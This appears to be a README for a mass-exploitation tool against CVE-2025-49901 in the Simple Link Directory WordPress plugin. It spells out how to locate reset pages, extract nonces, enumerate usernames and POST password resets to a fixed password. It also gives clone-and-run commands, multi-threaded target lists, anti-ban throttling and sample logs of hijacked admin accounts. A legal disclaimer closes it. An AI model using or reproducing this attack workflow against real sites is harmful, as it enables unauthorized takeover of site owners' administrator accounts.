╔═══════════════════════════════════════════════════════════════════╗
║        CVE-2025-49901  ·  Simple Link Directory  ·  qc-opd       ║
║           Authentication Bypass → Password Reset → RCE           ║
╚═══════════════════════════════════════════════════════════════════╝

┌─────────────────────────────────────────────────────────┐
│  1. Locate SLD reset page                               │
│     Probe 28+ paths → match: "sld" + "_wpnonce" + form  │
│                                                         │
│  2. Extract nonce                                       │
│     Parse _wpnonce from HTML / JS / qc-opd-nonce        │
│                                                         │
│  3. Enumerate usernames                                 │
│     /?author=1..10  +  /wp-json/wp/v2/users  + hostname │
│                                                         │
│  4. Reset password for each username                    │
│     POST qc-restore-pwd=restore                         │
│         qc-uid=<username>                               │
│         pass=newhackerpass123                           │
│         _wpnonce=<nonce>                                │
│                                                         │
│  5. Verify access (dual mode)                           │
│     Session mode  → cookie check + /wp-admin/ probes    │
│     Password mode → wp-login.php + admin panel check    │
│                                                         │
│  6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘

git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py

requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0

Targets list file          →  list.txt  (one host per line)
Threads                    →  default 5
HTTP timeout               →  default 10s
Per-user delay MIN/MAX     →  anti-ban throttle  (default 0.3 / 0.7s)
Delay between sites        →  default 1.0s
Output file                →  scan_results/reset_mass_success.txt

https://target1.com
target2.com
http://target3.com/wordpress

newhackerpass123

Session mode   →  checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode  →  full wp-login.php POST + multi-path admin panel probe

id="adminmenu"  ·  id="wpadminbar"  ·  id="wpwrap"
users.php  ·  plugins.php  ·  plugin-install-tab  ·  upload-plugin

[HH:MM:SS] [https://target.com] NONCE: OK   | RESET: OK   | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: -    | ACCESS: 0 HIT

[2025-06-01T14:22:10] https://target.com - account=admin  pass=newhackerpass123  mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123  mode=session

Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.